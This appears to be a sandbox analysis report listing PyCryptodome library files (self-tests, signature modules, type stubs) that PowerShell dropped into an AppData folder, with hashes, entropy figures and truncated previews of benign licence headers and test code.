              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Signature\test_pss.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with very long lines (1717), with CRLF line terminators
              Category:dropped
              Size (bytes):16188
              Entropy (8bit):5.334015326079158
              Encrypted:false
              SSDEEP:
              MD5:C3413892395D1B95715A94D5B15594F7
              SHA1:8D5566324873EB5BD0DF6DA4F43F4D23B443FDB0
              SHA-256:42CBEB606342C984B33629AA0C2D0FE9659A9518C8BB502E9AB7E23063DBE8FA
              SHA-512:5CC41F7ABDE76236C6CB3314DF824AC8947693A0273924D715771859CE0760A37553BC6554FE8B0B85DBA6F25516B024696E2DFBADFDDD0BB745F3DE855F45B6
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Util\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2043
              Entropy (8bit):5.237240672014205
              Encrypted:false
              SSDEEP:
              MD5:EC15E489C4F3AF1D1987C5EA4FA2F3BC
              SHA1:02FC0FA5EC2BD850A5149C4ED28598A667D41E32
              SHA-256:83AE64E7E2A6D6A1E0CC643404157AD938D8A84EA9A7442F4210E10E9D5FD69E
              SHA-512:8989312A6F7A87A4D78D325C5836A9541A980477797E3C0133DCB1A2E66D2646FAADDBEAA7232BE44208A01031EB9EEF4DBA5F3A1E64D637C5D5A15957158EBC
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Util/__init__.py: Self-test for utility modules..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Util\test_Counter.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2339
              Entropy (8bit):5.202413718317069
              Encrypted:false
              SSDEEP:
              MD5:F8501D1710CC47279356124DDD4A9A49
              SHA1:197A10A96EE658F58A107AF631A114904E4A6EC6
              SHA-256:F4DFE661669A43868A44FBDC01A60DFDDED11FC5A770E8B2554152DEC251F2D3
              SHA-512:EE8ACC076B992FB3C4409B5F04E06FBC6AD284886837BDEDD802CABC6228AF450333F9ABE374BFEDD24DE9CDBFD04CA7C06A93B03DB5CC54AD2CF5DCB4371D5B
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Util/test_Counter: Self-test for the Crypto.Util.Counter module..#..# Written in 2009 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..#

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Util\test_Padding.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5968
              Entropy (8bit):5.267773090086199
              Encrypted:false
              SSDEEP:
              MD5:045488719FC3B54CD805AFEA79086287
              SHA1:0079310849DE854819E7324DBEE7A9459F297BEE
              SHA-256:012373897A1401AA2BAFC1D4029E5C239355CBED106A163B57011AFDBC18C084
              SHA-512:7BCF2EAE6E754C947FB3A4418491DF4AD8C99771A3D2DB0F8FA1DD1736C4118059C5CCB3C0F1B26B301155EF1DAB4F606CC56C56263F1A1AA7C078061715AA5C
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/Util/test_Padding.py: Self-test for padding functions..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIME

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Util\test_asn1.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):32107
              Entropy (8bit):4.8144423694550875
              Encrypted:false
              SSDEEP:
              MD5:29B2837A29B459F7AC7356C3E4AFEE8C
              SHA1:217FF3DBCBA7ACFCD46C51E29F7198C751767E49
              SHA-256:33EE3596C53755388DD219D425DE8F1D65F3CF64346ADFA51A2DE46846A5950B
              SHA-512:577671B265BCFB82A760F83DA006EE1FC6FDAD5ED34A8CB4FEF8D48E058697840E182121E93CEB9FD81A614A2E68B9011DF204B202FFE63F9125199A22B78423
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/Util/test_asn.py: Self-test for the Crypto.Util.asn1 module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DIS

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Util\test_number.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with very long lines (303), with CRLF line terminators
              Category:dropped
              Size (bytes):8710
              Entropy (8bit):5.184554837708348
              Encrypted:false
              SSDEEP:
              MD5:8CFC6216203E8227001F370383E6DF55
              SHA1:6B104AAA274506FED8794ED9C2414D4FA94AA6C6
              SHA-256:948547B6DB811911AA4E75E5E336CED60A3BE1036D4FD6C5AC68FF86662981AF
              SHA-512:CB6A289B14960AA4CDED95E21AEF8B2C2997DD90F56D9CDC033D27AEA2818F6963880553BE13DE8B647163EFFB315AA4EC87F572BD311AA62CF72102BFCC5A63
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Util/test_number.py: Self-test for parts of the Crypto.Util.number module..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT O

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Util\test_rfc1751.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1151
              Entropy (8bit):5.090285924912527
              Encrypted:false
              SSDEEP:
              MD5:A0C63441A48C45F3417E90BD604DEBEE
              SHA1:7D80DD96977104ECE9AD12DAE596C289AB46947C
              SHA-256:4BAD1C6F40BB00F3551BCC1F1849E895178B15133E6DFCC0F10657FF1C5367A9
              SHA-512:80428786485D50A4915B3BE184B7BBB674B0BC277F1966591C0BD3D6366155F02F31ABD6972A7AC9ACFACCE9039801851340080872B51597F8E71553212727DB
              Malicious:false
              Reputation:unknown
              Preview:import unittest....import binascii..from Crypto.Util.RFC1751 import key_to_english, english_to_key......class RFC1751_Tests(unittest.TestCase):.... def test1(self):.. data = [.. ('EB33F77EE73D4053', 'TIDE ITCH SLOW REIN RULE MOT'),.. ('CCAC2AED591056BE4F90FD441C534766', 'RASH BUSH MILK LOOK BAD BRIM AVID GAFF BAIT ROT POD LOVE'),.. ('EFF81F9BFBC65350920CDD7416DE8009', 'TROD MUTE TAIL WARM CHAR KONG HAAG CITY BORE O TEAL AWL').. ].... for key_hex, words in data:.. key_bin = binascii.a2b_hex(key_hex).... w2 = key_to_english(key_bin).. self.assertEqual(w2, words).... k2 = english_to_key(words).. self.assertEqual(k2, key_bin).... def test_error_key_to_english(self):.... self.assertRaises(ValueError, key_to_english, b'0' * 7)......def get_tests(config={}):.. from Crypto.SelfTest.st_common import list_test_cases.. tests = list_test_cases(RFC1751_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Util\test_strxor.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10495
              Entropy (8bit):5.073385582254096
              Encrypted:false
              SSDEEP:
              MD5:FB3C8204F2C018E2825D45B12991A186
              SHA1:0BB3FEDFDC56F251526FF5DE20B2058BD1FDB3B1
              SHA-256:94A8D7005DAFC4F46C6DD73D758471E2E13CCAA4666D135C3F64DB04EC1E51D0
              SHA-512:5DF2907343C969CFB0D5BC28C4A5A5243BCB80F70E4DD482DFCF91AB10436235934329E49122B6A0788855F55683AE9F543750BA1D5E22D683A901BBAD31FD33
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/Util/test_strxor.py: Self-test for XORing..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3311
              Entropy (8bit):5.046154186405365
              Encrypted:false
              SSDEEP:
              MD5:6006235799D8B51FA0D57D451012FBF9
              SHA1:5FF6022873D06D926211402F22235339F228ED24
              SHA-256:A5195DE8F0FD1855C9FE4170915BC36C9C9F85DF5B8E14FEAF817C570F9C25F1
              SHA-512:66EB48B147A76F1531746E13E699610C26CB8094833005223ACF0B7A74E548388AE94349A642EF2A40132076A1D8C8A74EE85997AD3BE8290B758A76A9E3FE06
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/__init__.py: Self-test for PyCrypto..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWAR

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\__main__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1612
              Entropy (8bit):5.252093420200057
              Encrypted:false
              SSDEEP:
              MD5:80548AD81CAB82847277B36A7FB78711
              SHA1:DF518CE7B812750B118835598A3E6278934D7F42
              SHA-256:165A0BA1E31BEC7C6E80633F113D3882CC2AC98E37F51E9224AAAE8B3DF93D67
              SHA-512:0357B12B490096A0564944310129D5EEBFAADDF5CDB3EB8465D36422AAB4AB606937FD1BB927C49904D7A43E12B9139D486D438D36B59FE06BF1145744AAA09A
              Malicious:false
              Reputation:unknown
              Preview:#! /usr/bin/env python..#..# __main__.py : Stand-along loader for PyCryptodome test suite..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\loader.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8290
              Entropy (8bit):4.711704617154598
              Encrypted:false
              SSDEEP:
              MD5:1CEA7121AA769ADD798184C715B0A87B
              SHA1:38A493251DCCFD8FA4324DA3BC7512D2EF0A6CB4
              SHA-256:1D9542404A9119043588ADDF20B0A69AF6023CFD5072610207A93509A4E7E0EB
              SHA-512:29086E883A414DDA4642EA3EE6119CEA6F1EACAD114AFCEDCACB65071DEFF5034CD5AD22EB88E26F9A17045C20BCBEE26AA59883D6C33D916CCA129895B4BAD7
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2016, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\st_common.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2000
              Entropy (8bit):5.225498157362526
              Encrypted:false
              SSDEEP:
              MD5:B1A5A642E0F13E51AEE1AA096B819498
              SHA1:499EAA63461629F2883FBD1B40FFA32025CB64B4
              SHA-256:AA5EB6DDEE38BF49097C0AF6262C8B90CA0CD366AC0826DD8AAE37B63CD8B045
              SHA-512:452A98DABBD55A1EB3648CF02BA49430887609467920511907788505F9D5505C7F11EEBFF850D26722EC3F9E92B7BD14D37EA15505D09C68AD10825770D969C4
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/st_common.py: Common functions for SelfTest modules..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\DSS.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):15703
              Entropy (8bit):4.885505436795799
              Encrypted:false
              SSDEEP:
              MD5:D6E0624C129C7C3BC3CFF8A17611430E
              SHA1:30D96A4902E6D5F54667EE9E94C2BD4D3F2DD022
              SHA-256:EBED89F64095A8B493E850D5F976AD3E30991211C5EE53F47242B18DBC762490
              SHA-512:4BC303F11DB4301738C8A9E0E983C5C13AAC63F3B6E9CC597E1C2999B8EEE241E9CEE5C2B9DAA5D7DDAA6EFB468E58E7DA52110962B49A5C9D55DA53F6382B01
              Malicious:false
              Reputation:unknown
              Preview:#..# Signature/DSS.py : DSS.py..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\DSS.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1121
              Entropy (8bit):4.992804063334473
              Encrypted:false
              SSDEEP:
              MD5:38E9FC3517817B876019A478AB882734
              SHA1:34493501A5A5AE3C744CBAC46BAEA8C2F276B08B
              SHA-256:BB3A920B06532D4AA7363F205556243F2B71014E1FA0851DE64840CD26C9AD50
              SHA-512:6E003672E1F2B603325A57C66F59C0C1487243D5FC738A809FF04960C5A675AE3E68DCF0BB101CC00944DFB80FFBAF1869DA02CB8D46AD92841E9A9330689F6F
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional, Callable..from typing_extensions import Protocol....from Crypto.PublicKey.DSA import DsaKey..from Crypto.PublicKey.ECC import EccKey....class Hash(Protocol):.. def digest(self) -> bytes: .......__all__ = ['new']....class DssSigScheme:.. def __init__(self, key: Union[DsaKey, EccKey], encoding: str, order: int) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_hash: Hash) -> bytes: ..... def verify(self, msg_hash: Hash, signature: bytes) -> bool: .......class DeterministicDsaSigScheme(DssSigScheme):.. def __init__(self, key, encoding, order, private_key) -> None: .......class FipsDsaSigScheme(DssSigScheme):.. def __init__(self, key: DsaKey, encoding: str, order: int, randfunc: Callable) -> None: .......class FipsEcDsaSigScheme(DssSigScheme):.. def __init__(self, key: EccKey, encoding: str, order: int, randfunc: Callable) -> None: .......def new(key: Union[DsaKey, EccKey], mode: str, encoding: Optional[str]='bin

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\PKCS1_PSS.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2154
              Entropy (8bit):5.295272514709387
              Encrypted:false
              SSDEEP:
              MD5:C9AD0C720C157C21F0BDE59A9C570978
              SHA1:08AD968BE36D338E46DBB26BF8F74508451FA359
              SHA-256:B54B24BE5330B4EB23A8D0BEF242BD785DFB0F1B31DCBACEB87AF47B73DB5A32
              SHA-512:79292C6608760748C9030C0C7DEEA4F600A7480AEE20290F5F9E9C55A0162F9C3A014CCD4090694DBAD8322C7FB000813D97DDC9DD7F7E88EBEBBDEDA189AF14
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\PKCS1_PSS.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):895
              Entropy (8bit):5.021175970297132
              Encrypted:false
              SSDEEP:
              MD5:B10C8861416461026424D8341D6B711B
              SHA1:9207CD03C8A4F03ADE3FB52D7DD1828E8B734090
              SHA-256:2B2FB1983B8866D1CA635CDA145BF4639196A83A0F9B8AA7A6D0F0D39913F8F0
              SHA-512:F99F6E29E7980B548D07A760C116964872909158395D158C9199F5E458952AC37EA2D1645E186ED5EB17B570061F60D2A7A903218C9FADE89D61A5FF4562134C
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Callable, Optional..from typing_extensions import Protocol....from Crypto.PublicKey.RSA import RsaKey......class Hash(Protocol):.. def digest(self) -> bytes: ..... def update(self, bytes) -> None: .........class HashModule(Protocol):.. @staticmethod.. def new(data: Optional[bytes]) -> Hash: .........MaskFunction = Callable[[bytes, int, Union[Hash, HashModule]], bytes]..RndFunction = Callable[[int], bytes]....class PSS_SigScheme:.. def __init__(self, key: RsaKey, mgfunc: MaskFunction, saltLen: int, randfunc: RndFunction) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_hash: Hash) -> bytes: ..... def verify(self, msg_hash: Hash, signature: bytes) -> bool: ...........def new(rsa_key: RsaKey, mgfunc: Optional[MaskFunction]=None, saltLen: Optional[int]=None, randfunc: Optional[RndFunction]=None) -> PSS_SigScheme: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\PKCS1_v1_5.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2042
              Entropy (8bit):5.32432696462352
              Encrypted:false
              SSDEEP:
              MD5:7D8BF8D0C4889A5BF6BB4EB95AA44466
              SHA1:06633D6A4637773198A481EAB9ED156591DB7932
              SHA-256:0653BE50072749B16247CBB4905BB79FBD877FFC93F51C5B3E59EDC5FEB48E07
              SHA-512:68B95CBC4A39638FB7462DC391A145EC115BA045F301FEC54A475D134E5A3C93ED3223DD06C8895D2916294FB09A2A54B6D666307053F1AFC443AAF879267806
              Malicious:false
              Reputation:unknown
